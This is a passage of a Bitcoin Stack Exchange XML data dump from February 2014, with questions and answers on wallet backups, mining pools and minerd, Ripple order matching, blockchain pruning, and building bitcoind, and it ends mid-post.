  <row Id="21784" PostTypeId="1" AcceptedAnswerId="21785" CreationDate="2014-02-07T10:52:30.367" Score="0" ViewCount="61" Body="&lt;p&gt;On my current OS I have daemons of bitcoin and other altcoins running in bitcoin there were 5 different addresses lets say &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;userA&lt;/li&gt;&#xA;&lt;li&gt;userB&lt;/li&gt;&#xA;&lt;li&gt;userC&lt;/li&gt;&#xA;&lt;li&gt;userD&lt;/li&gt;&#xA;&lt;li&gt;userE&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;userB has sent some coins to a address generated by him, and this transaction was covered in e.g block number 300 but my bitcoind was synced till block number 250 only. Now if I save wallet.dat and place it in the same folder after reinstalling the OS will this retainn the addresses generated by different users ? and after synchronizing to block 300 will those coins comes into the wallet ?&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-07T11:08:54.180" Title="Quick question about wallets" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21785" PostTypeId="2" ParentId="21784" CreationDate="2014-02-07T10:55:52.223" Score="1" Body="&lt;p&gt;Your balance is kept in the &lt;em&gt;cloud&lt;/em&gt;, specifically in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet does not contain any balance info but just a private key that you can use to unlock the funds inside the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that it doesn't matter that you backup your wallet.dat file before your client is fully synched. Since it only contains your private keys, and not the balance itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, after a full synch is completed, those coins will appear in your wallet. As long as you have your wallet.dat file, with the private keys associated to your address, you can access your funds.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-07T11:08:54.180" LastActivityDate="2014-02-07T11:08:54.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21786" PostTypeId="2" ParentId="21767" CreationDate="2014-02-07T11:30:53.567" Score="2" Body="&lt;p&gt;What you have come across is the yet to be fully explored world of cryptographic signatures - and this is only the beginning my friend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A cryptographic signature in a very simplistic way, allows you to electronically sign something, usually a string of text. That signature can then be used to prove that the text that you signed has not been tampered with. If you were to even add a comma or a space to the text, the outcome of your signature would be different, and therefore you could prove that the text and your signature were not the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you did not know, almost anything digital is at one level a string of text (sometimes human readable, sometimes not) so &lt;em&gt;anything digital&lt;/em&gt; can be cryptographically signed in one way or another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has absolutely nothing to do with the block-chain or bitcoin &lt;em&gt;per se&lt;/em&gt;, but is a side-benefit of bitcoin employing crytographic signatures to allow you to send bitcoins. You do not have to spend bitcoins to sign something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the mechanism is being used to allow you to crytpographically sign ANYTHING. It is almost too broad a subject to answer fully here, but for example, imagine that you are buying a house, and that you copy paste the contract into the message box and sign it, and then the seller does the same with the result of your signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you would get is a cryptographically signed contract that absolutely could not be tampered with, that proves that both of you agreed to the terms in the contract, and an independent third-party could prove this to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This opens up a whole new world potentially without lawyers (think of how wondeful that might be) because you would only agree to (and sign) things that you agreed 100% with and understood. You could not be forced to sign anything that you did not agree with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future where cryptographic signatures are used for everything people and companies will be forced to behave fairly in order to get anywhere at all. &lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-02-07T11:30:53.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21789" PostTypeId="1" CreationDate="2014-02-07T13:10:20.377" Score="1" ViewCount="2302" Body="&lt;p&gt;New to this (obvious)&#xA;Using armory.&#xA;To send/receive BC's I need and address for the wallet.&#xA;How do I get this address?&#xA;Simple question and have searched but no direct answer??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13209" LastActivityDate="2014-05-08T17:14:51.557" Title="How do I get a Wallet address?" Tags="|address|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21790" PostTypeId="2" ParentId="21789" CreationDate="2014-02-07T13:19:26.027" Score="0" Body="&lt;p&gt;In the top right corner there is a button that says &quot;Create Wallet&quot; and &quot;Import or restore wallet&quot;. Click &quot;create Wallet&quot;. Enter a wallet name and a description. You can then enter a passphrase for the wallet. You should right this down too in a safe spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To view your bitcoin address open up &quot;Receive Bitcoins&quot; or &quot;Send Bitcoins&quot;&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-07T13:19:26.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21791" PostTypeId="2" ParentId="21778" CreationDate="2014-02-07T13:31:56.093" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to your backup file of %appdata%/bitcoin/wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Go to your local file of %appdata%/bitcoin/ and delete the wallet.dat&lt;/li&gt;&#xA;&lt;li&gt;Replace the old Wallet.Dat&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should have all your bitcoins back now.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-07T13:31:56.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21792" PostTypeId="2" ParentId="21769" CreationDate="2014-02-07T13:44:33.927" Score="0" Body="&lt;p&gt;Mining Pools are close to SoloMining under the hood. Most computers and hardware would take years to generate a block because they come in groups of 25 Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However with a mining pool the bitcoin share goes to the server its self and then it calculates the ammount of work that your hardware personally did. They will then send you that ammount of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All that the pooled mining servers do is record your amount of work. The mining server is basically Solo Mining.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-07T13:44:33.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21793" PostTypeId="2" ParentId="21769" CreationDate="2014-02-07T14:11:58.040" Score="13" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What do the mining workers do differently then if they would be mining&#xA;  solo?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A miner that is mining within a third-party pool doesn't need the entire block chain. In fact it doesn't need to be connected to any peers of the Bitcoin network. These miners work entirely outside of the network and could technically just need to communicate to the administrator of the pool in order to mine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin of the pool, on the other hand, needs to be exposed to the Bitcoin network and needs to listen for new blocks and validate transactions. The admin of a pool is a full Bitcoin node as described in Satoshi's paper.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it work under the hood? What does the mining pool server do&#xA;  in terms of computation?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens behind the hood is that the pool admin uses the combination of the miners computation, within her pool, as sort of an extension to her computational power. To do this there's specific software installed on the admin's server that takes care of making sure each miner is doing the work requested. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;During a 10 minute block cycle, since most miners within a pool won't actually solve the block (only 1 miner on average will), the admin needs to make sure that miners are actually working on the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this the miners solve a reduced difficulty hash, but one that could have also solved the actual hash, so it proves to the administrator they're actually working on the problem.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-07T14:11:58.040" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="21794" PostTypeId="2" ParentId="21373" CreationDate="2014-02-07T14:28:40.390" Score="0" Body="&lt;p&gt;There are already bots running on every market you can imagine. Because exchange operators are highly technical, most exchanges offer API's from the beginning.&lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2014-02-07T14:28:40.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21795" PostTypeId="2" ParentId="21608" CreationDate="2014-02-07T14:29:44.223" Score="0" Body="&lt;p&gt;There is no need to wait for this many confirmations unless you're an exchange or sell gift cards. If you sell a service or a shipped good, you can simply cancel the service/not ship the good if the transaction turns out to be a double spend.&lt;/p&gt;&#xA;" OwnerUserId="2017" LastActivityDate="2014-02-07T14:29:44.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21796" PostTypeId="2" ParentId="21442" CreationDate="2014-02-07T15:03:23.340" Score="-1" Body="&lt;p&gt;Got the answer and posted it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=214512.msg4998082#msg4998082&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=214512.msg4998082#msg4998082&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5070" LastActivityDate="2014-02-07T15:03:23.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21800" PostTypeId="1" AcceptedAnswerId="21812" CreationDate="2014-02-07T15:36:30.253" Score="3" ViewCount="153" Body="&lt;p&gt;I'm trying to better understand how buy and sell offers work on the Ripple network.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say Alice creates a new Ripple currency, calls it XYZ, and describes it to her friends Bob and Carol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob loves the new XYZ currency.  He submits an offer to buy 1 XYZ for &lt;strong&gt;3 XRP&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carol merely likes XYZ.  She offers to buy 1 XYZ for just &lt;strong&gt;1 XRP&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the set up.  I'm wondering what happens in the following cases...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What if Alice offers to sell 2 XYZ for 4 XRP?&lt;/em&gt;  Will the ripple network transfer 1 XYZ each to Bob and Carol?  Or, must Alice wait until someone offers to buy exactly the number of XYZ she is selling?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What if instead Alice offers to sell just 1 XYZ for 2 XRP?&lt;/em&gt;  Only Bob's offer of 3 XRP meets the price. But will Bob spend just 2 XRP (what Alice asked) or 3 XRP (what he offered)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Finally, what if Alice offers to sell just 1 XYZ for 1 XRP?&lt;/em&gt; Will she end up with 3 XRP from Bob, 1 XRP from Bob, or 1 XRP from Carol?&lt;/p&gt;&#xA;" OwnerUserId="13218" LastEditorUserId="5406" LastEditDate="2014-02-09T21:29:39.740" LastActivityDate="2014-02-09T21:29:39.740" Title="How are offers matched up on Ripple trades?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21801" PostTypeId="1" CreationDate="2014-02-07T15:49:02.840" Score="1" ViewCount="248" Body="&lt;p&gt;Wouldn't it be theoretically possible, to just cut everything older than say 4 weeks from the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What use does transaction data from 3 years ago have anyway?&#xA;Isn't it also safer in terms of NSA (and the like) activities, if transaction data is just gone after 4 weeks?&lt;/p&gt;&#xA;" OwnerUserId="13220" LastActivityDate="2014-02-09T09:34:48.400" Title="Clean blockchain?" Tags="|blockchain|" AnswerCount="3" CommentCount="0" ClosedDate="2014-02-26T08:48:39.777" ContentLicense="CC BY-SA 3.0" />
  <row Id="21802" PostTypeId="2" ParentId="21801" CreationDate="2014-02-07T15:59:50.880" Score="0" Body="&lt;p&gt;The blockchain must record all events because that transaction that happened 4 years ago might not be sent. What bitcoin does is they subtracted the total recieved from the total spent to get your balance. If they dont have the total received it will fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope i could help you out.&lt;/p&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-07T15:59:50.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21803" PostTypeId="2" ParentId="21801" CreationDate="2014-02-07T16:17:44.310" Score="0" Body="&lt;p&gt;No. Bitcoin's blockchain solves the double-spending problem with the proof-of-work. They key of this is that nodes only accept the &lt;strong&gt;longest&lt;/strong&gt; blockchain, or the one with most work put into it, as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the blockchain were cut every 4 weeks or so, you would have many short chains. How would you reach consensus in the network on which chain to use? Miners could easily build chains longer than 4 weeks using the past chains, and overwrite the current one with new transactions. Enabling them to double-spend and completely invalidate transactions on other chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially there would be no way to reach consensus on the chain to use. Currently the consensus is reached by using the longest chain.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-09T09:34:48.400" LastActivityDate="2014-02-09T09:34:48.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21804" PostTypeId="2" ParentId="21801" CreationDate="2014-02-07T16:20:44.450" Score="0" Body="&lt;p&gt;There are a few reasons why this isn't done:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could no longer have a client verify, starting with the genesis block data hardcoded into it, that the entire blockchain is valid. It'd have to trust that the peers it's connected to are telling the truth that, &quot;the blockchain up to 4 weeks ago is this&quot;.&lt;/li&gt;&#xA;&lt;li&gt;You'd have to store the balances of all addresses in the genesis of this blockchain in order to do that. This isn't something the blockchain is set up to do.&lt;/li&gt;&#xA;&lt;li&gt;The Bitcoin client already trims data (after verifying it) that has already been used and is no longer necessary, to save memory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-02-07T16:20:44.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21807" PostTypeId="2" ParentId="18378" CreationDate="2014-02-07T16:25:29.370" Score="0" Body="&lt;pre&gt;&lt;code&gt; sudo apt-get update&#xA; sudo apt-get install -y git-core build-essential libssl-dev libboost-all-dev libdb5.1-                                      f    dev libdb5.1++-dev libgtk2.0-dev&#xA;&#xA; git clone https://github.com/bitcoin/bitcoin.git&#xA; cd bitcoin/src&#xA;&#xA; make -f makefile.unix clean; make -f makefile.unix USE_UPNP= bitcoind&#xA;&#xA;&#xA;&#xA; USE_UPNP=1 : build but enable by default&#xA; strip bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13092" LastActivityDate="2014-02-07T16:25:29.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21810" PostTypeId="1" CreationDate="2014-02-07T17:03:39.167" Score="1" ViewCount="31" Body="&lt;p&gt;I want to make a recurring payment that is enforced by the blockchain and the scripting engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have the following fixed source address, funded with 100 BTC&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to pay the following address 10 BTC ten times, approximately once every N blocks or once a month.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1BTCorgHwCg6u2YSAWKgS17qUad6kHmtQW   (The Bitcoin foundation)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are some approaches I should take to accomplish a recurring payment like this?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2015-05-08T09:35:48.147" LastActivityDate="2015-05-08T09:35:48.147" Title="How can I make repeating transactions over a given interval? (time, blocks, or times replayed?)" Tags="|client|json-rpc|contracts|recurring-payments|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21811" PostTypeId="1" AcceptedAnswerId="21816" CreationDate="2014-02-07T17:46:12.953" Score="1" ViewCount="2321" Body="&lt;p&gt;I'm guessing maxcoind follows the same conventions as bitcoind. I've read up most everything except the actual source code but it seems that's the only place to find my answer!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, so when I go ./maxcoind getmininginfo - I get hasheshpersec = a fraction of what's pumped into it by ./minerd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go ./maxcoind setgenerate false, hasheshpersec drops to 0... while minerd still happily spits out a huge KH/s rating per thread. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is thus: Does the wallet daemon (maxcoind/bitcoind) need generation to be set to on in order to mine solo with minerd?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why doesn't those hashes show up in hashespersec?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand gen=1 makes bitcoind/maxcoind mine... and that makes sense, seeing as that the hashrate reported is basically equivalent to the hashrate per thread I get from minerd. So if that is so, where do I see the total hashrate fed in by minerd?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, can I push multiple minerd instances on many PC's into the same wallet daemon? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for explaining all this!&lt;/p&gt;&#xA;" OwnerUserId="13228" LastEditorUserId="5406" LastEditDate="2016-04-25T20:34:51.377" LastActivityDate="2016-04-25T20:34:51.377" Title="Solo mining: gen=1 needed when using minerd?" Tags="|bitcoind|miner-configuration|solo-mining|maxcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21812" PostTypeId="2" ParentId="21800" CreationDate="2014-02-07T17:50:26.187" Score="5" Body="&lt;p&gt;Offers are always filled best first. Among tying offers, the one placed first is taken first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once they're placed, offers are always taken at the rate they were placed. Offers are always placed at their original rate, regardless of what crossing offers they take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an offer is placed, any crossing offers (existing offers in the other direction that can satisfy all or part of the new offer) are taken. It is up to the person who placed the offer whether counter-offers that tie their rate are taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference between a &quot;buy&quot; offer and a &quot;sell&quot; offer is only how the offer is placed after crossing offers are taken. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no crossing offers, there is no difference between an offer to buy 1 XYZ for 1 XRP and an offer to sell 1 XRP for 1 XYZ. But ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place an offer to buy 1 XYZ for 1 XRP and crossing offers allow you to buy .5 XYZ for .1 XRP, the remaining offer will be to buy .5 XYZ for .5 XRP. (So, when/if your offer is fully consumed, you will buy 1 XYZ for .6 XRP.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you place an offer to sell 1 XRP for 1 XYZ and crossing offers allow you to sell .1 XRP for .5 XYZ, the remaining offer will be to sell .9 XRP for .9 XYZ. (So when/if your offer is fully consumed, you will sell 1 XRP for 1.4 XYZ.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-02-09T20:17:22.407" LastActivityDate="2014-02-09T20:17:22.407" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21813" PostTypeId="2" ParentId="21770" CreationDate="2014-02-07T18:02:51.863" Score="4" Body="&lt;p&gt;Here's a JSON-RPC C++ &lt;a href=&quot;https://github.com/bytemaster/cpp_bitcoin_rpc&quot; rel=&quot;nofollow&quot;&gt;library&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-02-07T18:02:51.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21814" PostTypeId="2" ParentId="21309" CreationDate="2014-02-07T18:16:33.977" Score="4" Body="&lt;p&gt;Each site has its own set of apis and documentation, I don't think it's likely that you'll find a single site with a complete set of APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some links to get you started:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;coinbase.com/api/doc&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13229" LastEditorUserId="68687" LastEditDate="2018-02-22T01:24:02.170" LastActivityDate="2018-02-22T01:24:02.170" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21816" PostTypeId="2" ParentId="21811" CreationDate="2014-02-07T19:32:14.420" Score="1" Body="&lt;p&gt;In the case of bitcoind (as you say, maxcoind should be the same), &lt;code&gt;setgenerate&lt;/code&gt; only affects whether bitcoind itself will mine.  It does not need to be on in order for an external mining program such as minerd to work.  All minerd needs is an RPC connection to bitcoind in order to find out what work it needs to do - and bitcoind will happily provide this regardless of the state of &lt;code&gt;setgenerate&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, &lt;code&gt;getmininginfo&lt;/code&gt; and its &lt;code&gt;hashespersec&lt;/code&gt; number only reports the status of bitcoind's own mining - it has no way of knowing what other mining programs are running, or getting statistics from them.  minerd reports its own statistics directly to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind's internal mining code is not very well optimized, and isn't economical to use.  I don't know whether maxcoind is the same, but my guess is minerd is better, so just use it instead.  There's no point in using both as they will just compete for CPU resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your final question should really be asked in a separate post, but anyway: there should be no problem with having many minerd instances fetch work from the same bitcoind, within reason.  (If you have millions of minerd's, bitcoind might not be able to keep up.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-02-07T19:32:14.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21818" PostTypeId="2" ParentId="20440" CreationDate="2014-02-07T19:59:35.520" Score="0" Body="&lt;p&gt;Your hardware will do the work for you and you won't have to do any coding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that this question will be a good read for you: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/148/what-exactly-is-mining&quot;&gt;What exactly is mining?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-02-07T19:59:35.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21820" PostTypeId="2" ParentId="19951" CreationDate="2014-02-07T21:39:23.170" Score="1" Body="&lt;p&gt;Assuming you are using windows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;uninstall all AMD drivers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not install (uninstall) APP SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;download 3.11 beta version of catalyst drivers&#xA;&lt;a href=&quot;http://www.guru3d.com/files_get/amd_catalyst_13_11_beta_9_2_(13_250_18_november_7)_download,1.html&quot; rel=&quot;nofollow&quot;&gt;http://www.guru3d.com/files_get/amd_catalyst_13_11_beta_9_2_(13_250_18_november_7)_download,1.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you're cgminer settings are modeset and try again. If you are never on modest cgminer settings, you may never know if your software/driver config will work.&lt;/p&gt;&#xA;" OwnerUserId="12690" LastActivityDate="2014-02-07T21:39:23.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21824" PostTypeId="2" ParentId="9068" CreationDate="2014-02-07T22:32:34.757" Score="11" Body="&lt;p&gt;Considering that you are always somewhat out of sync, here is how you can get by how long in seconds, and then you can divide by 60 or 3600 to get it in minutes or hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do it manually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# bitcoin-cli getblockcount&#xA;2345&#xA;# bitcoin-cli getblockhash 2345&#xA;000000007024f233aa44bc7784a78926fb1c325f9985c936ae57b94530505062&#xA;# bitcoin-cli getblock 000000007024f233aa44bc7784a78926fb1c325f9985c936ae57b94530505062 | grep &quot;time&quot;&#xA;    &quot;time&quot; : 1233313208,&#xA;# echo $((`date +%s`-1233313208))&#xA;&amp;lt;number of seconds&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the same in two steps&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli getblock `bitcoin-cli getblockhash \`bitcoin-cli getblockcount\`` | grep time&#xA;    &quot;time&quot; : 1233313208,&#xA;echo $((`date +%s`-1233313208))&#xA;&amp;lt;number of seconds&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't find a way to do it in one call, so here is a script that does the whole thing, with no error checking as you can see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;cnt=`bitcoin-cli getblockcount`&#xA;hash=`bitcoin-cli getblockhash ${cnt}`&#xA;timeline=`bitcoin-cli getblock $hash | grep '&quot;time&quot;'`&#xA;ltrimtime=${timeline#*time\&quot; : }&#xA;newest=${ltrimtime%%,*}&#xA;echo $((`date +%s`-$newest))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $((`date +%s`-$newest))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the number of minutes like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $(((`date +%s`-$newest)/60))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or the number of hours like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $(((`date +%s`-$newest)/3600))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, assuming you have perl (which you probably have) and that you prefer to have the date of the last block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -le &quot;print scalar localtime $newest;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13239" LastEditorUserId="-1" LastEditDate="2016-03-12T22:07:50.660" LastActivityDate="2016-03-12T22:07:50.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21825" PostTypeId="2" ParentId="19951" CreationDate="2014-02-07T23:28:11.867" Score="0" Body="&lt;p&gt;Try running this in the command line if you haven't already.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2014-02-07T23:28:11.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21826" PostTypeId="1" AcceptedAnswerId="21833" CreationDate="2014-02-08T00:21:40.227" Score="0" ViewCount="58" Body="&lt;p&gt;I noticed this article and was thinking about the possibilities of the U.S. Post Office seriously considering Bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bloomberg.com/news/2014-02-07/could-bitcoin-be-answer-for-profit-starved-post-office-.html&quot; rel=&quot;nofollow&quot;&gt;http://www.bloomberg.com/news/2014-02-07/could-bitcoin-be-answer-for-profit-starved-post-office-.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too Soon?   Too many people don't understand crytocurrencies?&lt;/p&gt;&#xA;" OwnerUserId="12274" LastEditorUserId="11369" LastEditDate="2014-02-08T02:09:07.723" LastActivityDate="2014-02-08T05:55:58.077" Title="Can Bitcoin save the U.S. Post Office" Tags="|currencies|buy-bitcoins|business|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-10T13:15:20.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="21828" PostTypeId="1" AcceptedAnswerId="21830" CreationDate="2014-02-08T00:37:35.813" Score="-3" ViewCount="82" Body="&lt;p&gt;That Apple removed last wallet from their app store.  Just wrong....  Guess more people will move to Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apple Removes Blockchain Bitcoin Wallet Apps from its App Stores&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/apple-removes-blockchain-bitcoin-wallet-from-app-stores/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/apple-removes-blockchain-bitcoin-wallet-from-app-stores/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Will they add it back after seeing the pressure from worldwide bitcoin community?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love the response from BlockChain to Apple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.blockchain.info/2014/02/06/blockchain-response-to-apple/&quot; rel=&quot;nofollow&quot;&gt;http://blog.blockchain.info/2014/02/06/blockchain-response-to-apple/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain’s Response to Apple&#xA;Posted on February 6, 2014&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;“Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in  the square holes. The ones who see things differently. They’re not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify 